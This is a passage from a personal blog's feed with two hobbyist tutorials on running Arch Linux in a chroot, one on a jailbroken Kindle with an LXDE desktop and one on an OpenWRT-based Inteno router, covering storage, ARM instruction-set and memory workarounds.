</code></pre>
    </div>
  </div>
  <p><code class="language-plaintext highlighter-rouge">sudo</code> is required to extract as it sets up a lot of files with root permissions. You can ignore the errors about <code class="language-plaintext highlighter-rouge">SCHILY.fflags</code>. Verify that the files extracted successfully with <code class="language-plaintext highlighter-rouge">ls -l rootfs/</code>.</p>
  <p>Let's prepare our Kindle for the filesystem. I opted for hosting the filesystem in <code class="language-plaintext highlighter-rouge">extensions/karch</code> as I want to use KUAL for easy launching:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>ssh root@192.168.15.244
<span class="go">
</span><span class="gp">kindle#</span><span class="w"> </span><span class="nb">mkdir</span> <span class="nt">-p</span> /mnt/base-us/extensions/karch
</code></pre>
    </div>
  </div>
  <p>While we're here, it's also a good idea to stop the power daemon to prevent the Kindle from going into sleep mode while transferring the filesystem and interrupting our transfer:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">kindle#</span><span class="w"> </span>stop powerd
<span class="go">powerd stop/waiting
</span></code></pre>
    </div>
  </div>
  <p>Let's transfer our filesystem:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">kindle#</span><span class="w"> </span><span class="nb">exit</span>
<span class="go">Connection to 192.168.15.244 closed.

</span><span class="gp">$</span><span class="w"> </span>scp arch.img root@192.168.15.244:/mnt/base-us/extensions/karch/
</code></pre>
    </div>
  </div>
  <p>This might take quite a bit of time, depending on your connection.</p>
  <p>Once it's done, let's SSH in once again and set up our mountpoint:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>ssh root@192.168.15.244
<span class="go">
</span><span class="gp">kindle#</span><span class="w"> </span><span class="nb">cd</span> /mnt/base-us/extensions/karch/
<span class="gp">kindle#</span><span class="w"> </span><span class="nb">mkdir </span>system
</code></pre>
    </div>
  </div>
  <p>I decided to set up my own loop device, so I can have it named, but you can ignore this and opt to use <code class="language-plaintext highlighter-rouge">/dev/loop/12</code> or similar instead. Just make sure it's already not in use with <code class="language-plaintext highlighter-rouge">mount</code>.</p>
  <p>Setting up a loop point and mounting the filesystem:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">kindle#</span><span class="w"> </span><span class="nb">mknod</span> <span class="nt">-m0660</span> /dev/loop/karch b 7 250
<span class="gp">kindle#</span><span class="w"> </span>mount <span class="nt">-o</span> <span class="nv">loop</span><span class="o">=</span>/dev/loop/karch <span class="nt">-t</span> ext4 arch.img system/
</code></pre>
    </div>
  </div>
  <p>We should also mount some system directories into it:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">kindle#</span><span class="w"> </span>mount <span class="nt">-o</span> <span class="nb">bind</span> /dev system/dev
<span class="gp">kindle#</span><span class="w"> </span>mount <span class="nt">-o</span> <span class="nb">bind</span> /dev/pts system/dev/pts
<span class="gp">kindle#</span><span class="w"> </span>mount <span class="nt">-o</span> <span class="nb">bind</span> /proc system/proc
<span class="gp">kindle#</span><span class="w"> </span>mount <span class="nt">-o</span> <span class="nb">bind</span> /sys system/sys
<span class="gp">kindle#</span><span class="w"> </span>mount <span class="nt">-o</span> <span class="nb">bind</span> /tmp system/tmp
<span class="gp">kindle#</span><span class="w"> </span><span class="nb">cp</span> /etc/hosts system/etc/
</code></pre>
    </div>
  </div>
  <p>It's time to chroot into our new system and set it up for LXDE. You can also use this opportunity to set up whatever applications you need, such as an onscreen keyboard:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">kindle#</span><span class="w"> </span><span class="nb">chroot </span>system/ /bin/bash
<span class="gp">chroot#</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'en_US.UTF-8 UTF-8'</span> <span class="o">&gt;</span> /etc/locale.gen 
<span class="gp">chroot#</span><span class="w"> </span>locale-gen
<span class="gp">chroot#</span><span class="w"> </span><span class="nb">rm</span> /etc/resolv.conf 
<span class="gp">chroot#</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'nameserver 8.8.8.8'</span> <span class="o">&gt;</span> /etc/resolv.conf
<span class="gp">chroot#</span><span class="w"> </span>pacman-key <span class="nt">--init</span> <span class="c"># this will take a while</span>
<span class="gp">chroot#</span><span class="w"> </span>pacman-key <span class="nt">--populate</span>
<span class="gp">chroot#</span><span class="w"> </span>pacman <span class="nt">-Syu</span> <span class="nt">--noconfirm</span>
<span class="gp">chroot#</span><span class="w"> </span>pacman <span class="nt">-S</span> lxde xorg-server-xephyr <span class="nt">--noconfirm</span>
</code></pre>
    </div>
  </div>
  <p>We use Xephyr because it's the easiest way to get our LXDE session up and running. Since the Kindle uses X11 natively, we can try using that. It's possible to stop the native window manager using <code class="language-plaintext highlighter-rouge">stop lab126_gui</code> outside the chroot, but then the Kindle will stop updating the screen with new data, leaving it blank – forcing you to use something like <code class="language-plaintext highlighter-rouge">eips</code> to refresh the screen. The X server still works, however, and you can confirm this by using something like <code class="language-plaintext highlighter-rouge">x11vnc</code> after running your own WM in it. Xephyr spawns a new X server inside the preexisting X server, which is not as efficient but a lot easier.</p>
  <p>We can however stop everything else related to the native GUI, as we need the extra memory and we can't use it while LXDE is running anyways:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">chroot#</span><span class="w"> </span><span class="nb">exit</span>
<span class="gp">kindle#</span><span class="w"> </span><span class="nv">SERVICES</span><span class="o">=</span><span class="s2">"framework pillow webreader kb contentpackd"</span>
<span class="gp">kindle#</span><span class="w"> </span><span class="k">for </span>service <span class="k">in</span> <span class="k">${</span><span class="nv">SERVICES</span><span class="k">}</span><span class="p">;</span> <span class="k">do </span>stop <span class="k">${</span><span class="nv">service</span><span class="k">}</span><span class="p">;</span> <span class="k">done</span>
</code></pre>
    </div>
  </div>
  <p>While we're here, we need to get the screen size for later:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">kindle#</span><span class="w"> </span>eips <span class="nt">-i</span> | <span class="nb">grep</span> <span class="s1">'xres:'</span> | <span class="nb">awk</span> <span class="s1">'{print $2"x"$4}'</span>
<span class="go">600x800
</span></code></pre>
    </div>
  </div>
  <p>Let's chroot back into the system and see if we can get LXDE to run. Be sure to replace the screen size parameter if needed:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">kindle#</span><span class="w"> </span><span class="nb">chroot </span>system/ /bin/bash
<span class="gp">chroot#</span><span class="w"> </span><span class="nb">export </span><span class="nv">DISPLAY</span><span class="o">=</span>:0
<span class="gp">chroot#</span><span class="w"> </span>Xephyr :1 <span class="nt">-title</span> <span class="s2">"L:A_N:application_ID:xephyr"</span> <span class="nt">-screen</span> 600x800 <span class="nt">-cc</span> 4 <span class="nt">-nocursor</span> &amp;
<span class="gp">chroot#</span><span class="w"> </span><span class="nb">export </span><span class="nv">DISPLAY</span><span class="o">=</span>:1
<span class="gp">chroot#</span><span class="w"> </span>lxsession &amp;
<span class="gp">chroot#</span><span class="w"> </span>xrandr <span class="nt">-o</span> right
</code></pre>
    </div>
  </div>
  <p>If everything goes well, you should have LXDE visible on your Kindle's screen. Ta-da! Feel free to play around with it. I've found that the touch screen is suprisingly accurate, even though it is using an IR LED system to detect touches instead of a normal digitizer.</p>
  <p>Once done in the chroot, Ctrl-C + Ctrl-D can be issued to exit the chroot. We can then restore the Kindle UI by doing:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">kindle#</span><span class="w"> </span><span class="k">for </span>service <span class="k">in</span> <span class="k">${</span><span class="nv">SERVICES</span><span class="k">}</span><span class="p">;</span> <span class="k">do </span>start <span class="k">${</span><span class="nv">service</span><span class="k">}</span><span class="p">;</span> <span class="k">done</span>
</code></pre>
    </div>
  </div>
  <p>It might take a while for anything to display again.</p>
  <p>I've mentioned setting up a KUAL extension to automate the entering and exiting of the chroot. You can find that <a href="https://git.dog/xx/karch">here</a>. If you're interested in using this, make sure you've set up your filesystem first and copied it over to the same directory as the extension, and that it's named <code class="language-plaintext highlighter-rouge">arch.img</code>. Everything else is not mandatory - the extension will do it for you.</p>
  ]]></content><author><name></name></author><category term="chroot" /><category term="linux" /><category term="arch" /><category term="kindle" /><category term="amazon" /><category term="pacman" /><category term="lxde" /><category term="xorg" /><category term="x" /><summary type="html"><![CDATA[In my previous post, I described running Arch on an OpenWRT router. Today, I'll be taking it a step further and running Arch and a full LXDE installation natively on an Amazon Kindle, which can be interacted with directly using the touch screen. This is possible thanks to the Kindle's operating system being Linux!]]></summary></entry><entry><title type="html">chroot shenanigans: Running Arch Linux on OpenWRT (LEDE) routers</title><link href="https://nns.ee/blog/2019/03/21/chroot-shenanigans.html" rel="alternate" type="text/html" title="chroot shenanigans: Running Arch Linux on OpenWRT (LEDE) routers" /><published>2019-03-21T16:45:00+02:00</published><updated>2019-03-21T16:45:00+02:00</updated><id>https://nns.ee/blog/2019/03/21/chroot-shenanigans</id><content type="html" xml:base="https://nns.ee/blog/2019/03/21/chroot-shenanigans.html"><![CDATA[<p>Here's some notes on how to get Arch Linux <a href="/blog/img/arch.png">running on OpenWRT devices</a>. I'm using an Inteno IOPSYS (OpenWRT-based) DG400 for this, which has a Broadcom BCM963138 SoC - reportedly ARMv7 but not really (I'll get to that later).
    <!--description--></p>
  <p>I figured it would be fun trying to run Arch on such an unconventional device. I ran into 3 issues which I will be discussing, and the workarounds for them.</p>
  <p>I've already "hacked" my router and have direct root access to the system, so I won't be discussing that in this post. If you're interested, check out any of my older posts with a CVE label for more information, or if you're brave and want to compile and flash custom firmware on your Inteno router, check out <a href="https://nns.ee/blog/2017/07/13/flashing-openwrt-on-inteno-dg301.html">this post</a>.</p>
  <p>I used the lovely <a href="https://archlinuxarm.org/">Arch Linux ARM</a> community project as the basis for this. The plan of action: Grab a tarball of a compiled system for my architecture (ARMv7), extract it on the router and use <a href="https://en.wikipedia.org/wiki/Chroot">chroot</a> to effectively "run" it as if it was the root filesystem. Seems simple enough.</p>
  <h3 id="issue-1-space">Issue 1: Space</h3>
  <p>These sort of devices are usually built with very limited storage to keep production costs down. The firmware just about fits on the onboard flash with some extra space for temporary files. It's not meant to be used as your conventional system.</p>
  <p><code class="language-plaintext highlighter-rouge">df -h</code> reported my root filesystem to only have 304 Kb of available space, and my tmp filesystem to have 100 Mb. Considering that the Arch tarball itself is already over 500 Mb, the device doesn't have nearly enough space to fit another OS on it.</p>
  <p>The solution for this is quite simple: Use a USB drive. Indeed, my DG400 router has a USB2.0 and 3.0 port presumably for sticking pen drives into them. Evidently, seeing as any drives inserted are automatically mounted in <code class="language-plaintext highlighter-rouge">/mnt</code> (I'm unsure whether this is done by OpenWRT by default or if it's an IOPSYS feature).</p>
  <p>It's settled then. I used my PC to format a pen drive as ext4 (FAT won't work for this very well), downloaded the ARMv7 tarball and extracted it onto the pen drive:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">#</span><span class="w"> </span>umount /dev/sdc1 <span class="c"># (replace with your USB drive)</span>
<span class="gp">#</span><span class="w"> </span>mkfs.ext4 /dev/sdc1
<span class="gp">#</span><span class="w"> </span>mount /dev/sdc1 /mnt
<span class="gp">#</span><span class="w"> </span><span class="nb">mkdir</span> /mnt/archfs
<span class="gp">#</span><span class="w"> </span>wget http://os.archlinuxarm.org/os/ArchLinuxARM-armv7-latest.tar.gz
<span class="gp">#</span><span class="w"> </span>bsdtar <span class="nt">-xpf</span> ArchLinuxARM-armv7-latest.tar.gz <span class="nt">-C</span> /mnt/archfs
</code></pre>
    </div>
  </div>
  <p>Done. After plugging the USB drive into the router, it got automatically mounted at <code class="language-plaintext highlighter-rouge">/mnt/usb0</code> (might differ). However, it got mounted with the <code class="language-plaintext highlighter-rouge">noexec</code> flag, which will prevent executables being run. It's easy enough to remount it. On the router:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">#</span><span class="w"> </span>mount /mnt/usb0 <span class="nt">-o</span> <span class="nb">exec</span>,remount
</code></pre>
    </div>
  </div>
  <p>Great! It's time to test if we can now actually chroot into it:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">#</span><span class="w"> </span><span class="nb">chroot</span> /mnt/usb0/archfs /bin/bash
<span class="go">Illegal instruction (core dumped)
</span></code></pre>
    </div>
  </div>
  <p>Uh oh. Looks like something is still wrong. Which brings us to…</p>
  <h3 id="issue-2-not-all-arm-is-created-equal">Issue 2: Not all ARM is created equal</h3>
  <p>Looks like we're running into some instructions while running bash that our processor doesn't support. Let's see if we're still ARMv7 and I hadn't messed up:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">#</span><span class="w"> </span><span class="nb">cat</span> /proc/cpuinfo 
<span class="go">processor       : 0
model name      : ARMv7 Processor rev 1 (v7l)
BogoMIPS        : 1325.05
Features        : half thumb fastmult edsp tls 
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x4
CPU part        : 0xc09
CPU revision    : 1
</span></code></pre>
    </div>
  </div>
  <p>Strange. We're using the ARMv7 tarball, it should all be groovy. My custom firmware is compiled with GDB, which I could use to see exactly which instruction it's failing on. Since there's no way of running GDB + any of my Arch binaries natively without library mismatches, I opted to simply grab the core dump and use that instead. I looked into <code class="language-plaintext highlighter-rouge">/proc/sys/kernel/core_pattern</code> to identify the script responsible for handling coredumps and modified it to dump it to the root of my USB stick instead. I could then use GDB to look through the backtrace:</p>
  <div class="language-plaintext highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code># gdb /mnt/usb0/archfs/bin/grep /mnt/usb0/coredump -q
Reading symbols from archfs/bin/grep...(no debugging symbols found)...done.
[New LWP 14713]

warning: Could not load shared library symbols for /lib/ld-linux-armhf.so.3.
Do you need "set solib-search-path" or "set sysroot"?
Core was generated by `/bin/grep'.
Program terminated with signal SIGILL, Illegal instruction.
#0  0xb6fe5ba4 in ?? ()
</code></pre>
    </div>
  </div>
  <p>I needed to set the proper sysroot as well, to fetch proper library symbols:</p>
  <div class="language-plaintext highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code>(gdb) set sysroot /mnt/usb0/archfs/
Reading symbols from /mnt/usb0/archfs/lib/ld-linux-armhf.so.3...(no debugging symbols found)...done.
(gdb) disas 0xb6fe5ba4
Dump of assembler code for function __sigsetjmp:
   0xb6fe5b70 &lt;+0&gt;:	movw	r12, #28028	; 0x6d7c
   0xb6fe5b74 &lt;+4&gt;:	movt	r12, #1
   0xb6fe5b78 &lt;+8&gt;:	ldr	r2, [pc, r12]
   0xb6fe5b7c &lt;+12&gt;:	mov	r12, r0
   0xb6fe5b80 &lt;+16&gt;:	mov	r3, sp
   0xb6fe5b84 &lt;+20&gt;:	eor	r3, r3, r2
   0xb6fe5b88 &lt;+24&gt;:	str	r3, [r12], #4
   0xb6fe5b8c &lt;+28&gt;:	eor	r3, lr, r2
   0xb6fe5b90 &lt;+32&gt;:	str	r3, [r12], #4
   0xb6fe5b94 &lt;+36&gt;:	stmia	r12!, {r4, r5, r6, r7, r8, r9, r10, r11}
   0xb6fe5b98 &lt;+40&gt;:	movw	r3, #28064	; 0x6da0
   0xb6fe5b9c &lt;+44&gt;:	movt	r3, #1
   0xb6fe5ba0 &lt;+48&gt;:	ldr	r2, [pc, r3]
=&gt; 0xb6fe5ba4 &lt;+52&gt;:	vstmia	r12!, {d8-d15}
   0xb6fe5ba8 &lt;+56&gt;:	tst	r2, #512	; 0x200
   0xb6fe5bac &lt;+60&gt;:	beq	0xb6fe5bc8 &lt;__sigsetjmp+88&gt;
   0xb6fe5bb0 &lt;+64&gt;:	stfp	f2, [r12], #8
   0xb6fe5bb4 &lt;+68&gt;:	stfp	f3, [r12], #8
   0xb6fe5bb8 &lt;+72&gt;:	stfp	f4, [r12], #8
   0xb6fe5bbc &lt;+76&gt;:	stfp	f5, [r12], #8
   0xb6fe5bc0 &lt;+80&gt;:	stfp	f6, [r12], #8
   0xb6fe5bc4 &lt;+84&gt;:	stfp	f7, [r12], #8
   0xb6fe5bc8 &lt;+88&gt;:	b	0xb6fe39d8 &lt;__sigjmp_save&gt;
End of assembler dump.
</code></pre>
    </div>
  </div>
  <p>Looks like our processor didn't like the <code class="language-plaintext highlighter-rouge">vstmia</code> instruction. Can't imagine why - it seems to be a valid ARMv7 instruction.</p>
  <p>After reading through some reference manuals and consulting others online, it turned out that my SoC processor is crippled: A set of instructions simply wasn't supported by my processor. Luckily, thanks to those instructions not existing in ARMv5 and ARM being backwards-compatible, I could simply use the ARMv5-compiled system instead.</p>
  <p>Repeating the steps to create the root filesystem, this time using the <code class="language-plaintext highlighter-rouge">ArchLinuxARM-armv5-latest.tar.gz</code> tarball instead, showed promising results. I could finally:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">#</span><span class="w"> </span><span class="nb">chroot</span> /mnt/usb0/archfs /bin/bash
<span class="gp">[root@iopsys /]#</span><span class="w"> </span><span class="nb">cat</span> /etc/os-release
<span class="go">NAME="Arch Linux ARM"
PRETTY_NAME="Arch Linux ARM"
ID=archarm
</span></code></pre>
    </div>
  </div>
  <p>I exited the chroot after seeing it works. We still needed to mount some partitions so the chroot could see and interact with them and copy some files over. I wrote a helper script for all of that which you can find <a href="https://gist.github.com/nnsee/ab9675d9c5183e875bb49e4d4831f2f4">here</a>.</p>
  <p>Great, we can now initialise pacman and try upgrading the system.</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">#</span><span class="w"> </span>pacman-key <span class="nt">--init</span>
<span class="gp">#</span><span class="w"> </span>pacman-key <span class="nt">--populate</span> archlinuxarm
<span class="gp">#</span><span class="w"> </span>pacman <span class="nt">-Syu</span>
<span class="go">
error: out of memory
</span></code></pre>
    </div>
  </div>
  <h3 id="issue-3-memory-problems">Issue 3: Memory problems</h3>
  <p>Honestly, should've seen this one coming. <code class="language-plaintext highlighter-rouge">free -m</code> showed that I was working with around 100 Mb of usable memory, which is not much - no wonder pacman crapped out. Luckily, my device kernel was compiled with <code class="language-plaintext highlighter-rouge">swap</code> support. This essentially allows the system to "swap" memory contents out to the filesystem and load them later when necessary. It's very slow compared to real memory, but it gets the job done in a pinch. I created a 1G swapfile on my USB drive and activated it, whilst inside the chroot:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">#</span><span class="w"> </span><span class="nb">truncate</span> <span class="nt">-s</span> 0   /swapfile
<span class="gp">#</span><span class="w"> </span>chattr +C       /swapfile
<span class="gp">#</span><span class="w"> </span>fallocate <span class="nt">-l</span> 1G /swapfile
<span class="gp">#</span><span class="w"> </span><span class="nb">chmod </span>600       /swapfile
<span class="gp">#</span><span class="w"> </span>mkswap          /swapfile
<span class="gp">#</span><span class="w"> </span>swapon          /swapfile
</code></pre>
    </div>
  </div>
  <p>Running pacman again allowed me to continue upgrading the system, which it finished successfully.</p>
  <p>At this point, I had a fully functional Arch Linux system which I could chroot into and utilise pretty much to the maximum. I've successfully set up Python bots, compiled software with gcc/g++, etc. what you'd expect to see from a normal system. I don't know <em>why</em> you would want to do this, but it's definitely possible.</p>
  <p>I realise that it may not go this smoothly on other systems. For example, a large portion of routers utilise the MIPS architecture instead of ARM. If this is the case for you, it unfortunately means that Arch Linux is off the table, as it doesn't have any functioning MIPS builds. However, the Debian community maintains <a href="https://www.debian.org/ports/mips/">an active MIPS port of Debian</a> which you might want to look into instead. Everything in this post should still pretty much apply to Debian/MIPS as well, with some minor differences.</p>
  <p>This has also been done on other unconventional devices. Reddit user <a href="https://www.reddit.com/user/parkerlreed">parkerlreed</a> used a similar procedure to run Arch Linux on a Steamlink, which you can read <a href="https://www.exploitee.rs/index.php/Steam_Link">here</a> - it even has instructions on how to compile applications natively on it.</p>
  ]]></content><author><name></name></author><category term="chroot" /><category term="linux" /><category term="arch" /><category term="openwrt" /><category term="lede" /><category term="pacman" /><summary type="html"><![CDATA[Here's some notes on how to get Arch Linux running on OpenWRT devices. I'm using an Inteno IOPSYS (OpenWRT-based) DG400 for this, which has a Broadcom BCM963138 SoC - reportedly ARMv7 but not really (I'll get to that later).]]></summary></entry></feed>